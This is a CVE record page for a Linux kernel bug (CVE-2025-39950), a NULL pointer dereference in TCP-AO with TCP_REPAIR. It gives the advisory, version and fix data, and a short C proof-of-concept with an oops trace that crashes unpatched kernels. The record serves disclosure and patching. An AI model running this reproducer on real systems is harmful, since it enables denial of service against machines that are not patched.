CVE-2025-39950 (GCVE-0-2025-39950)
Vulnerability from cvelistv5
Published
2025-10-04 07:31
Modified
2025-10-04 07:31
Severity ?
Summary
In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
References
Impacted products
Vendor Product Version
Linux Linux Version: 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f
Version: 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f
Version: 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f
 Create a notification for this product.
Show details on NVD website

To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ao.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5f445eb259906b61a518487a790e11d07d31738c",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            },
            {
              "lessThan": "993b734d31ab804747ac961b1ee664b023c3b5fa",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            },
            {
              "lessThan": "2e7bba08923ebc675b1f0e0e0959e68e53047838",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ao.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.16.*",
              "status": "unaffected",
              "version": "6.16.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.49",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.16.9",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.17",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)-\u003eseq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(\u0026sockaddr,\u0027\\0\u0027,sizeof(sockaddr));\n\tmemset(\u0026tcp_ao,\u0027\\0\u0027,sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(\u0026tcp_ao.addr,\u0026sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, \u0026tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, \u0026one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", \u0026sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)\u0026sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-04T07:31:10.926Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c"
        },
        {
          "url": "https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838"
        }
      ],
      "title": "net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-39950",
    "datePublished": "2025-10-04T07:31:10.926Z",
    "dateReserved": "2025-04-16T07:20:57.148Z",
    "dateUpdated": "2025-10-04T07:31:10.926Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-39950\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2025-10-04T08:15:48.253\",\"lastModified\":\"2025-10-06T14:56:47.823\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\\n\\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\\nenabled.\\n\\nThe function is called with skb being NULL and attempts to dereference it\\non tcp_hdr(skb)-\u003eseq without a prior skb validation.\\n\\nFix this by checking if skb is NULL before dereferencing it.\\n\\nThe commentary is taken from bpf_skops_established(), which is also called\\nin the same flow. Unlike the function being patched,\\nbpf_skops_established() validates the skb before dereferencing it.\\n\\nint main(void){\\n\\tstruct sockaddr_in sockaddr;\\n\\tstruct tcp_ao_add tcp_ao;\\n\\tint sk;\\n\\tint one = 1;\\n\\n\\tmemset(\u0026sockaddr,\u0027\\\\0\u0027,sizeof(sockaddr));\\n\\tmemset(\u0026tcp_ao,\u0027\\\\0\u0027,sizeof(tcp_ao));\\n\\n\\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\\n\\n\\tsockaddr.sin_family = AF_INET;\\n\\n\\tmemcpy(tcp_ao.alg_name,\\\"cmac(aes128)\\\",12);\\n\\tmemcpy(tcp_ao.key,\\\"ABCDEFGHABCDEFGH\\\",16);\\n\\ttcp_ao.keylen = 16;\\n\\n\\tmemcpy(\u0026tcp_ao.addr,\u0026sockaddr,sizeof(sockaddr));\\n\\n\\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, \u0026tcp_ao,\\n\\tsizeof(tcp_ao));\\n\\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, \u0026one, sizeof(one));\\n\\n\\tsockaddr.sin_family = AF_INET;\\n\\tsockaddr.sin_port = htobe16(123);\\n\\n\\tinet_aton(\\\"127.0.0.1\\\", \u0026sockaddr.sin_addr);\\n\\n\\tconnect(sk,(struct sockaddr *)\u0026sockaddr,sizeof(sockaddr));\\n\\nreturn 0;\\n}\\n\\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\\n$ unshare -Urn\\n\\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\\nOops: Oops: 0000 [#1] SMP NOPTI\\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\\nReference Platform, BIOS 6.00 11/12/2020\\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)\"}],\"metrics\":{},\"references\":[{\"url\":\"https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"}]}}"
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.